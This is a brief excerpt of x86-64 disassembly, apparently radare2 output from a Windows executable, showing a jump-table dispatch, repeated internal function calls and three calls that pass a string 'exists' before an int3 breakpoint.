mov edx, dword [rcx + rdx*4]
add rdx, rax
xor ecx, ecx
call rdx
call fcn.140008e60
call fcn.140008e60
call fcn.140008e60
call fcn.140008e60
call fcn.140008e60
call fcn.140008e60
call fcn.140009370
call fcn.140009370
call fcn.140008e60
mov dword [rbp + 0x2d0], eax
lea rax, [0x140596ce8]
mov qword [rbp + 0x2d8], rax
lea rcx, str.exists
lea rdx, [rbp + 0x2d0]
mov r8, rbp
call fcn.1400c0170
mov dword [rbp + 0x2d0], eax
lea rax, [0x140596ce8]
mov qword [rbp + 0x2d8], rax
lea rcx, str.exists
lea rdx, [rbp + 0x2d0]
lea r8, [rbp + 0x550]
call fcn.1400c0170
mov dword [rbp + 0x2d0], eax
lea rax, [0x140596ce8]
mov qword [rbp + 0x2d8], rax
lea rcx, str.exists
lea rdx, [rbp + 0x2d0]
lea r8, [rbp + 0x550]
call fcn.1400c0170
int3